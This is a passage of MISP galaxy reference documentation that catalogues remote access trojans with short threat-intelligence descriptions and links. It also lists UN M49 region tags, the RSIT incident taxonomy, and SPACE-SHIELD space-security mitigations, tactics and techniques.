“Based on the use of publicly known sender addresses associated with Tibetan dissident targeting and the delivery of Sepulcher malware payloads, [we] have attributed both campaigns to the APT actor TA413,” said Proofpoint researchers in a Wednesday analysis. “The usage of publicly known

Tibetan-themed sender accounts to deliver Sepulcher malware demonstrates a short-term realignment of TA413's targets of interest."

The tag is: *misp-galaxy:rat="Sepulcher"*

Table 14336. Table References

Links
https://www.enigmasoftware.fr/logicielmalveillantsepulcher-supprimer/
https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/
https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher
https://cyware.com/news/chinese-apt-ta413-found-distributing-sepulcher-malware-176a0969

Guildma

The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma's modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.

The tag is: *misp-galaxy:rat="Guildma"*

Guildma is also known as:

- Astaroth

Table 14337. Table References

Links
https://www.securityweek.com/guildma-malware-expands-targets-beyond-brazil
https://www.securityweek.com/extensive-living-land-hides-stealthy-malware-campaign
https://isc.sans.edu/diary/rss/28962
https://otx.alienvault.com/pulse/6303804723bccc7e3caad737?utm_userid=alexandre.dulaunoy@circl.lu&utm_medium=InProduct&utm_source=OTX&utm_content=Email&utm_campaign=new_pulse_from_subscribed

Milan

Milan is a 32-bit RAT written in Visual C++ and .NET. Milan is loaded and persists using tasks. An

encoded routine waits for three to four seconds between executing the first task, deleting this task, and setting a second scheduled task for persistence.

The tag is: *misp-galaxy:rat="Milan"*

Milan is also known as:

- James

Table 14338. Table References

Links
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/

DarkWatchman

In late November, Prevailion's Adversarial Counterintelligence Team (PACT) identified what appeared to be a malicious javascript-based Remote Access Trojan (RAT) that uses a robust Domain Generation Algorithm (DGA) to identify its Command and Control (C2) infrastructure and that utilizes novel methods for fileless persistence, on-system activity, and dynamic run-time capabilities like self-updating and recompilation. This RAT, which PACT refers to by its internal codename "DarkWatchman", has been observed being distributed by email and represents an evolution in fileless malware techniques, as it uses the registry for nearly all temporary and permanent storage and therefore never writes anything to disk, allowing it to operate beneath or around the detection threshold of most security tools. PACT has reverse engineered the DGA, dynamically analyzed the malware, investigated the Threat Actor's (TA) web-based infrastructure, and consolidated the results of our analysis into the following report.

The tag is: *misp-galaxy:rat="DarkWatchman"*

DarkWatchman is also known as:

Table 14339. Table References

Links
https://www.prevailion.com/darkwatchman-new-fileness-techniques/

Ragnatela

Malwarebytes Lab identified a new variant of the BADNEWS RAT called Ragnatela. It is being distributed via spear phishing emails to targets of interest in Pakistan. Ragnatela, which means spider web in Italian, is also the project name and panel used by Patchwork APT. Ironically, the threat actor infected themselves with their own RAT.

The tag is: *misp-galaxy:rat="Ragnatela"*

View relationships graph

Ragnatela has relationships with:

- similar: misp-galaxy:mitre-malware="BADNEWS - S0128" with estimative-language:likelihood-probability="likely"

Table 14340. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2022/01/patchwork-apt-caught-in-its-own-web/

STRRAT

STRRAT is a Java-based RAT with a JavaScript wrapper/dropper that was discovered in 2020. Its core payload (a .JAR file) is contained under several layers of obfuscation and encoding inside the JavaScript wrapper/dropper.

STRRAT is propagated by malicious email attachments. Its capabilities include standard RAT functionalities (remote access, remote command execution), browser and email-client credential harvesting, and a unique ransomware-like functionality – if instructed, it will add a “.crimson” extension to files on the device, rendering them inoperable (though they can be easily recovered because their content is not modified).

Unlike many Java-based malware, STRRAT does not require Java to be installed on the infected system in order to operate. When the JavaScript wrapper/dropper is executed, if a suitable Java runtime installation is not found, one will be downloaded and installed in order to assure the contained Java payload can execute.

The tag is: *misp-galaxy:rat="STRRAT"*

Table 14341. Table References

Links
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape

COATHANGER

Chinese FortiGate RAT. The COATHANGER malware is a remote access trojan (RAT) designed specifically for Fortigate appliances. It is used as second-stage malware, and does not exploit a new vulnerability. Intelligence services MIVD & AIVD refer to the malware as COATHANGER based on a string present in the code./nThe COATHANGER malware is stealthy and persistent. It hides itself by hooking system calls that could reveal its presence. It survives reboots and firmware upgrades./nMIVD & AIVD assess with high confidence that the malicious activity was conducted by a state-sponsored actor from the People’s Republic of China. This is part of a wider trend of Chinese political espionage against the Netherlands and its allies./nMIVD & AIVD assess that use of COATHANGER may be relatively targeted. The Chinese threat actor(s) scan for vulnerable edge devices at scale and gain access opportunistically, and likely introduce COATHANGER as a communication channel for select victims.

The tag is: *misp-galaxy:rat="COATHANGER"*

Table 14342. Table References

Links
https://github.com/JSCU-NL/COATHANGER
https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear
https://twitter.com/sehof/status/1754883344574103670

BIOPASS

BIOPASS RAT is a malware family which targets online gambling companies in China by leveraging a watering hole attack. This Remote Access Trojan (RAT) is unique in that it leverages the Open Broadcaster Software (OBS) framework to monitor the user's screen.

The tag is: *misp-galaxy:rat="BIOPASS"*

View relationships graph

BIOPASS has relationships with:

- used-by: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 14343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biopass

SodaMaster

This is a RAT that is usually loaded with one or more shellcode and/or reflective DLL injection techniques. The RAT uses RC4 or a hardcoded RSA key for traffic encryption/decryption. Its communication can either happen via a raw TCP socket or a HTTP POST request. Depending on the version, the RAT may remotely execute DLLs or shellcode.

The tag is: *misp-galaxy:rat="SodaMaster"*

SodaMaster is also known as:

- dfls
- HEAVYPOT
- DelfsCake

Table 14344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster

Regions UN M49

Regions based on UN M49..

Regions UN M49 is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

001 - World

The tag is: *misp-galaxy:region="001 - World"*

002 - Africa

The tag is: *misp-galaxy:region="002 - Africa"*

005 - South America

The tag is: *misp-galaxy:region="005 - South America"*

009 - Oceania

The tag is: *misp-galaxy:region="009 - Oceania"*

010 - Antarctica

The tag is: *misp-galaxy:region="010 - Antarctica"*

011 - Western Africa

The tag is: *misp-galaxy:region="011 - Western Africa"*

013 - Central America

The tag is: *misp-galaxy:region="013 - Central America"*

014 - Eastern Africa

The tag is: *misp-galaxy:region="014 - Eastern Africa"*

015 - Northern Africa

The tag is: *misp-galaxy:region="015 - Northern Africa"*

017 - Middle Africa

The tag is: *misp-galaxy:region="017 - Middle Africa"*

018 - Southern Africa

The tag is: *misp-galaxy:region="018 - Southern Africa"*

019 - Americas

The tag is: *misp-galaxy:region="019 - Americas"*

021 - Northern America

The tag is: *misp-galaxy:region="021 - Northern America"*

029 - Caribbean

The tag is: *misp-galaxy:region="029 - Caribbean"*

030 - Eastern Asia

The tag is: *misp-galaxy:region="030 - Eastern Asia"*

034 - Southern Asia

The tag is: *misp-galaxy:region="034 - Southern Asia"*

035 - South-eastern Asia

The tag is: *misp-galaxy:region="035 - South-eastern Asia"*

039 - Southern Europe

The tag is: *misp-galaxy:region="039 - Southern Europe"*

053 - Australia and New Zealand

The tag is: *misp-galaxy:region="053 - Australia and New Zealand"*

054 - Melanesia

The tag is: *misp-galaxy:region="054 - Melanesia"*

057 - Micronesia

The tag is: *misp-galaxy:region="057 - Micronesia"*

061 - Polynesia

The tag is: *misp-galaxy:region="061 - Polynesia"*

142 - Asia

The tag is: *misp-galaxy:region="142 - Asia"*

143 - Central Asia

The tag is: *misp-galaxy:region="143 - Central Asia"*

145 - Western Asia

The tag is: *misp-galaxy:region="145 - Western Asia"*

150 - Europe

The tag is: *misp-galaxy:region="150 - Europe"*

151 - Eastern Europe

The tag is: *misp-galaxy:region="151 - Eastern Europe"*

154 - Northern Europe

The tag is: *misp-galaxy:region="154 - Northern Europe"*

155 - Western Europe

The tag is: *misp-galaxy:region="155 - Western Europe"*

202 - Sub-Saharan Africa

The tag is: *misp-galaxy:region="202 - Sub-Saharan Africa"*

419 - Latin America and the Caribbean

The tag is: *misp-galaxy:region="419 - Latin America and the Caribbean"*

830 - Channel Islands

The tag is: *misp-galaxy:region="830 - Channel Islands"*

rsit

rsit.

rsit is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Koen Van Impe

Abusive Content:Spam

Or 'Unsolicited Bulk Email', this means that the recipient has not granted verifiable permission for the message to be sent and that the message is sent as part of a larger collection of messages, all having a functionally comparable content. This IOC refers to resources, which make up a SPAM infrastructure, be it a harvesters like address verification, URLs in spam e-mails etc.

The tag is: *misp-galaxy:rsit="Abusive Content:Spam"*

View relationships graph

Abusive Content:Spam has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Abusive Content:Harmful Speech

Discretization or discrimination of somebody, e.g. cyber stalking, racism or threats against one or more individuals.

The tag is: *misp-galaxy:rsit="Abusive Content:Harmful Speech"*

Abusive Content:(Child) Sexual Exploitation/Sexual/Violent Content

Child Sexual Exploitation (CSE), Sexual content, glorification of violence, etc.

The tag is: *misp-galaxy:rsit="Abusive Content:(Child) Sexual Exploitation/Sexual/Violent Content"*

View relationships graph

Abusive Content:(Child) Sexual Exploitation/Sexual/Violent Content has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Malicious Code:Infected System

System infected with malware, e.g. PC, smartphone or server infected with a rootkit. Most often this refers to a connection to a sinkholed C2 server

The tag is: *misp-galaxy:rsit="Malicious Code:Infected System"*

Malicious Code:C2 Server

Command-and-control server contacted by malware on infected systems.

The tag is: *misp-galaxy:rsit="Malicious Code:C2 Server"*

View relationships graph

Malicious Code:C2 Server has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="likely"

Malicious Code:Malware Distribution

URI used for malware distribution, e.g. a download URL included in fake invoice malware spam or exploit-kits (on websites).

The tag is: *misp-galaxy:rsit="Malicious Code:Malware Distribution"*

Malicious Code:Malware Configuration

URI hosting a malware configuration file, e.g. web-injects for a banking trojan.

The tag is: *misp-galaxy:rsit="Malicious Code:Malware Configuration"*

Information Gathering:Scanning

Attacks that send requests to a system to discover weaknesses. This also includes testing processes to gather information on hosts, services and accounts. Examples: fingerd, DNS querying, ICMP, SMTP (EXPN, RCPT, ...), port scanning.

The tag is: *misp-galaxy:rsit="Information Gathering:Scanning"*

View relationships graph

Information Gathering:Scanning has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="likely"

Information Gathering:Sniffing

Observing and recording of network traffic (wiretapping).

The tag is: *misp-galaxy:rsit="Information Gathering:Sniffing"*

View relationships graph

Information Gathering:Sniffing has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="likely"

Information Gathering:Social Engineering

Gathering information from a human being in a non-technical way (e.g. lies, tricks, bribes, or threats).

The tag is: *misp-galaxy:rsit="Information Gathering:Social Engineering"*

Intrusion Attempts:Exploitation of known Vulnerabilities

An attempt to compromise a system or to disrupt any service by exploiting vulnerabilities with a standardised identifier such as CVE name (e.g. buffer overflow, backdoor, cross site scripting, etc.)

The tag is: *misp-galaxy:rsit="Intrusion Attempts:Exploitation of known Vulnerabilities"*

View relationships graph

Intrusion Attempts:Exploitation of known Vulnerabilities has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="likely"

Intrusion Attempts:Login attempts

Multiple login attempts (Guessing / cracking of passwords, brute force). This IOC refers to a resource, which has been observed to perform brute-force attacks over a given application protocol.

The tag is: *misp-galaxy:rsit="Intrusion Attempts:Login attempts"*

View relationships graph

Intrusion Attempts:Login attempts has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="likely"

Intrusion Attempts:New attack signature

An attack using an unknown exploit.

The tag is: *misp-galaxy:rsit="Intrusion Attempts:New attack signature"*

Intrusions:Privileged Account Compromise

Compromise of a system where the attacker gained administrative privileges.

The tag is: *misp-galaxy:rsit="Intrusions:Privileged Account Compromise"*

View relationships graph

Intrusions:Privileged Account Compromise has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-

language:likelihood-probability="likely"

Intrusions:Unprivileged Account Compromise

Compromise of a system using an unprivileged (user/service) account.

The tag is: *misp-galaxy:rsit="Intrusions:Unprivileged Account Compromise"*

View relationships graph

Intrusions:Unprivileged Account Compromise has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="likely"

Intrusions:Application Compromise

Compromise of an application by exploiting (un-)known software vulnerabilities, e.g. SQL injection.

The tag is: *misp-galaxy:rsit="Intrusions:Application Compromise"*

View relationships graph

Intrusions:Application Compromise has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="likely"

Intrusions:System Compromise

Compromise of a system, e.g. unauthorised logins or commands. This includes compromising attempts on honeypot systems.

The tag is: *misp-galaxy:rsit="Intrusions:System Compromise"*

Intrusions:Burglary

Physical intrusion, e.g. into corporate building or data-centre.

The tag is: *misp-galaxy:rsit="Intrusions:Burglary"*

Availability:Denial of Service

Denial of Service attack, e.g. sending specially crafted requests to a web application which causes the application to crash or slow down.

The tag is: *misp-galaxy:rsit="Availability:Denial of Service"*

View relationships graph

Availability:Denial of Service has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Availability:Distributed Denial of Service

Distributed Denial of Service attack, e.g. SYN-Flood or UDP-based reflection/amplification attacks.

The tag is: *misp-galaxy:rsit="Availability:Distributed Denial of Service"*

View relationships graph

Availability:Distributed Denial of Service has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Availability:Misconfiguration

Software misconfiguration resulting in service availability issues, e.g. DNS server with outdated DNSSEC Root Zone KSK.

The tag is: *misp-galaxy:rsit="Availability:Misconfiguration"*

Availability:Sabotage

Physical sabotage, e.g cutting wires or malicious arson.

The tag is: *misp-galaxy:rsit="Availability:Sabotage"*

Availability:Outage

Outage caused e.g. by air condition failure or natural disaster.

The tag is: *misp-galaxy:rsit="Availability:Outage"*

Information Content Security:Unauthorised access to information

Unauthorised access to information, e.g. by abusing stolen login credentials for a system or application, intercepting traffic or gaining access to physical documents.

The tag is: *misp-galaxy:rsit="Information Content Security:Unauthorised access to information"*

Information Content Security:Unauthorised modification of information

Unauthorised modification of information, e.g. by an attacker abusing stolen login credentials for a system or application or a ransomware encrypting data. Also includes defacements.

The tag is: *misp-galaxy:rsit="Information Content Security:Unauthorised modification of information"*

View relationships graph

Information Content Security:Unauthorised modification of information has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="likely"

Information Content Security:Data Loss

Loss of data, e.g. caused by harddisk failure or physical theft.

The tag is: *misp-galaxy:rsit="Information Content Security:Data Loss"*

Information Content Security:Leak of confidential information

Leaked confidential information like credentials or personal data.

The tag is: *misp-galaxy:rsit="Information Content Security:Leak of confidential information"*

Fraud:Unauthorised use of resources

Using resources for unauthorised purposes including profit-making ventures, e.g. the use of e-mail to participate in illegal profit chain letters or pyramid schemes.

The tag is: *misp-galaxy:rsit="Fraud:Unauthorised use of resources"*

Fraud:Copyright

Offering or Installing copies of unlicensed commercial software or other copyright protected materials (Warez).

The tag is: *misp-galaxy:rsit="Fraud:Copyright"*

Fraud:Masquerade

Type of attack in which one entity illegitimately impersonates the identity of another in order to benefit from it.

The tag is: *misp-galaxy:rsit="Fraud:Masquerade"*

Fraud:Phishing

Masquerading as another entity in order to persuade the user to reveal private credentials. This IOC most often refers to a URL, which is used to phish user credentials.

The tag is: *misp-galaxy:rsit="Fraud:Phishing"*

View relationships graph

Fraud:Phishing has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Vulnerable:Weak crypto

Publicly accessible services offering weak crypto, e.g. web servers susceptible to POODLE/FREAK attacks.

The tag is: *misp-galaxy:rsit="Vulnerable:Weak crypto"*

Vulnerable:DDoS amplifier

Publicly accessible services that can be abused for conducting DDoS reflection/amplification attacks, e.g. DNS open-resolvers or NTP servers with monlist enabled.

The tag is: *misp-galaxy:rsit="Vulnerable:DDoS amplifier"*

View relationships graph

Vulnerable:DDoS amplifier has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Vulnerable:Potentially unwanted accessible services

Potentially unwanted publicly accessible services, e.g. Telnet, RDP or VNC.

The tag is: *misp-galaxy:rsit="Vulnerable:Potentially unwanted accessible services"*

Vulnerable:Information disclosure

Publicly accessible services potentially disclosing sensitive information, e.g. SNMP or Redis.

The tag is: *misp-galaxy:rsit="Vulnerable:Information disclosure"*

Vulnerable:Vulnerable system

A system which is vulnerable to certain attacks. Example: misconfigured client proxy settings (example: WPAD), outdated operating system version, XSS vulnerabilities, etc.

The tag is: *misp-galaxy:rsit="Vulnerable:Vulnerable system"*

Other:Uncategorised

All incidents which don't fit in one of the given categories should be put into this class or the incident is not categorised.

The tag is: *misp-galaxy:rsit="Other:Uncategorised"*

Other:Undetermined

The categorisation of the incident is unknown/undetermined.

The tag is: *misp-galaxy:rsit="Other:Undetermined"*

Test:Test

Meant for testing.

The tag is: *misp-galaxy:rsit="Test:Test"*

SCOR - About

Overview entries to explain the SCOR namespace inside MISP..

SCOR - About is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

H4CK32N4U75®

What is SCOR

SCOR stands for Space, Cybersecurity, Operations, and Resilience. It is the shared namespace used to publish space security galaxies and clusters such as METEORSTORM, SPARTA, and SPACE-SHIELD elements.

The tag is: *misp-galaxy:scor-about="What is SCOR"*

Layers

PCE - Terrestrial, Aerial, Orbital, Deep Space. SEG - Ground, User, Launch, Space, Deep Space. SVC - Control, Data, Hybrid. AST - Hardware, Firmware, Software, Data, Signal, Hybrid. AN - IOC, IOA, Threat, Detection, Resilience.

The tag is: *misp-galaxy:scor-about="Layers"*

Stewardship and contact

Maintained by H4CK32N4U75®. Contact: william.o.ferguson@ethicallyhacking.space.

The tag is: *misp-galaxy:scor-about="Stewardship and contact"*

Contributing

Propose changes via the SCOR repository. Keep UUIDs stable. Bump version when IDs or descriptions change.

The tag is: *misp-galaxy:scor-about="Contributing"*

SCOR SPACE-SHIELD Mitigations

ESA SPACE-SHIELD Mitigations adapted to the SCOR namespace for operational and technical countermeasures..

SCOR SPACE-SHIELD Mitigations is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

H4CK32N4U75®

Access control

Authenticate users and enforce authorization to prevent unauthorized access, configuration changes, or spacecraft takeover.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Access control"*

Accountability of actions

Ensure every access or action is attributable to a user or entity for traceability and forensic analysis.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Accountability of actions"*

Anti-replay protection mechanisms

Use sequence numbers, timestamps, or message identifiers to prevent adversaries from replaying commands.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Anti-replay protection mechanisms"*

Authenticated encryption

Ensure confidentiality and authenticity of telemetry and telecommand data with authenticated encryption.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Authenticated encryption"*

Authentication

Verify actor identity and protect commands/messages from spoofing or tampering.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Authentication"*

Authorization

Protect functionality from being executed by unauthorized entities.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Authorization"*

Autonomy

Maintain spacecraft function during TT&C disruptions with autonomous fallback behaviors.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Autonomy"*

Boot Integrity

Secure boot ensures OS integrity and loading mechanism verification.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Boot Integrity"*

CCSDS SDLS Sequence numbers

Protect TT&C against replay through secure sequence numbering.

The tag is: *misp-galaxy:scor-space-shield-mitigations="CCSDS SDLS Sequence numbers"*

Code signing

Verify digital signatures to ensure only trusted code executes.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Code signing"*

Credential Access Protection

Block credential dumping or key compromise through hardened key storage and encryption.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Credential Access Protection"*

Defense-in-depth measures

Use layered protection mechanisms, including authentication, encryption, and anomaly detection.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Defense-in-depth measures"*

Detection of abnormal behaviour at avionics bus / Prevention mechanisms

Detect and prevent unauthorized interactions with the avionics bus.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Detection of abnormal behaviour at avionics bus / Prevention mechanisms"*

Digital certificates

Use digital certificates (CCSDS 357.0-B-1) for identity assurance and command protection.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Digital certificates"*

Diversity

Introduce diversity in components or software to limit single points of failure.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Diversity"*

Encrypt Sensitive Information

Apply strong encryption to protect sensitive data.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Encrypt Sensitive Information"*

Encryption of communications

Encrypt RF and optical links to ensure confidentiality.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Encryption of communications"*

Filter Network Traffic

Apply protocol-based network filtering on endpoints and network perimeters.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Filter Network Traffic"*

Frequency Hopping

Regularly change carrier frequencies to make interception or jamming harder.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Frequency Hopping"*

MMU and MPU

Protect avionics memory access with MMU/MPU for isolation.

The tag is: *misp-galaxy:scor-space-shield-mitigations="MMU and MPU"*

Monitoring

Monitor systems and radio channels for unauthorized activity or DoS events.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Monitoring"*

Multi-factor authentication

Require multiple factors to authenticate users and commands.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Multi-factor authentication"*

Network Intrusion Prevention

Block malicious network activity using signatures and behavioral indicators.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Network Intrusion Prevention"*

Network Segmentation

Isolate critical systems through physical and logical segmentation.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Network Segmentation"*

Non-repudiation mechanisms

Ensure actions cannot be denied, using digital signatures and logging.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Non-repudiation mechanisms"*

On Board Authentication for executing critical commands

Authenticate commands on-board to prevent unauthorized execution.

The tag is: *misp-galaxy:scor-space-shield-mitigations="On Board Authentication for executing critical commands"*

Partitioning/Separation

Separate functions and components to contain compromises and faults.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Partitioning/Separation"*

Physical security

Use guards, gates, and other countermeasures to defend ground facilities.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Physical security"*

Redundancy

Introduce redundant components and communication links to improve availability.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Redundancy"*

Remote attestation

Validate integrity of spacecraft software/firmware remotely.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Remote attestation"*

Resilience

Harden hardware and systems to maintain operations under attack.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Resilience"*

Secure PKI implementation

Implement robust PKI for authentication, key management, and command integrity.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Secure PKI implementation"*

Secure Safe Mode

Maintain secure fallback keys and re-enable security functions upon recovery.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Secure Safe Mode"*

Supply chain confidence

Mitigate risks from supply chain insertion of malicious components.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Supply chain confidence"*

Supply chain protections

Enforce strong controls over supplier verification, integrity checking, and tamper resistance.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Supply chain protections"*

Supply from trustworthy sources only

Source only from certified and trusted suppliers.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Supply from trustworthy sources only"*

User Training

Educate personnel to resist phishing, social engineering, and operational security lapses.

The tag is: *misp-galaxy:scor-space-shield-mitigations="User Training"*

Zero Trust Architecture

Adopt a zero trust model to continuously verify users, devices, and communications.

The tag is: *misp-galaxy:scor-space-shield-mitigations="Zero Trust Architecture"*

SCOR SPACE-SHIELD Tactics

ESA SPACE-SHIELD Tactics adapted to SCOR namespace for matrix rendering in MISP..

SCOR SPACE-SHIELD Tactics is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

H4CK32N4U75®

Reconnaissance

Gather information about the targeted system to identify critical assets, weakest links, and exploitable surfaces. Includes RF/optical interception and in-orbit intelligence.

The tag is: *misp-galaxy:scor-space-shield-tactics="Reconnaissance"*

Resource Development

Establish resources to support operations, including infrastructure, tooling, compromised accounts, and capabilities.

The tag is: *misp-galaxy:scor-space-shield-tactics="Resource Development"*

Initial Access

Gain an initial foothold in the targeted space system or ground segment, often through compromised ground systems, trusted relationships, or RF link exploitation.

The tag is: *misp-galaxy:scor-space-shield-tactics="Initial Access"*

Execution

Run adversary-controlled or malicious commands or code within spacecraft or ground systems to achieve specific goals.

The tag is: *misp-galaxy:scor-space-shield-tactics="Execution"*

Persistence

Maintain undetected access over time through methods such as backdoors, pre-launch insertion, or credential persistence.

The tag is: *misp-galaxy:scor-space-shield-tactics="Persistence"*

Privilege Escalation

Obtain higher-level permissions or control, for example by becoming bus master or escaping virtualization boundaries.

The tag is: *misp-galaxy:scor-space-shield-tactics="Privilege Escalation"*

Defense Evasion

Avoid detection or neutralize defensive measures by impairing defenses, removing indicators, or masquerading activity.

The tag is: *misp-galaxy:scor-space-shield-tactics="Defense Evasion"*

Credential Access

Steal or obtain credentials, including TT&C master/session keys or authentication tokens, through brute force, interception, or key recovery.

The tag is: *misp-galaxy:scor-space-shield-tactics="Credential Access"*

Discovery

Gain knowledge about system structure, configuration, services, and trust relationships to inform further actions.

The tag is: *misp-galaxy:scor-space-shield-tactics="Discovery"*

Lateral Movement

Move to other components or subsystems through compromised partitions, payload-platform pivots, or relay mechanisms.

The tag is: *misp-galaxy:scor-space-shield-tactics="Lateral Movement"*

Collection

Gather and centralize data from compromised assets, typically through link interception or adversary-in-the-middle operations.

The tag is: *misp-galaxy:scor-space-shield-tactics="Collection"*

Exfiltration

Exfiltrate data through TM/payload channels, leveraging the broad RF footprint of space downlinks or optical links.

The tag is: *misp-galaxy:scor-space-shield-tactics="Exfiltration"*

Command and Control

Establish and maintain communication channels with compromised space or ground systems to orchestrate operations.

The tag is: *misp-galaxy:scor-space-shield-tactics="Command and Control"*

Impact

Disrupt, degrade, or destroy the targeted system, its services, or physical platform through kinetic,

electromagnetic, or operational effects.

The tag is: *misp-galaxy:scor-space-shield-tactics="Impact"*

SCOR SPACE-SHIELD Techniques

ESA SPACE-SHIELD Techniques adapted to SCOR namespace. Each technique is mapped to one or more tactics, aligning with the ESA matrix structure..

SCOR SPACE-SHIELD Techniques is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

H4CK32N4U75®

In-orbit proximity intelligence

Gather intelligence on nearby space assets through proximity operations or sensors to support later attack phases.

The tag is: *misp-galaxy:scor-space-shield-techniques="In-orbit proximity intelligence"*

RF/Optical interception

Intercept communication links using RF or optical ground/space assets, passively collecting TM/TC traffic.

The tag is: *misp-galaxy:scor-space-shield-techniques="RF/Optical interception"*

Compromise ground segment

Obtain access to mission control or ground station systems through intrusion or insider compromise.

The tag is: *misp-galaxy:scor-space-shield-techniques="Compromise ground segment"*

Exploit RF command link

Exploit weak or unencrypted TT&C links to send malicious commands or replay legitimate commands.

The tag is: *misp-galaxy:scor-space-shield-techniques="Exploit RF command link"*

Payload hijack

Gain unauthorized control of spacecraft payloads by manipulating command channels or onboard processors.

The tag is: *misp-galaxy:scor-space-shield-techniques="Payload hijack"*

Malicious telecommand injection

Inject unauthorized telecommands into TT&C to alter spacecraft behavior.

The tag is: *misp-galaxy:scor-space-shield-techniques="Malicious telecommand injection"*

Insert pre-launch backdoor

Introduce malicious code, firmware, or hardware before launch to maintain access post-launch.

The tag is: *misp-galaxy:scor-space-shield-techniques="Insert pre-launch backdoor"*

Modify onboard software

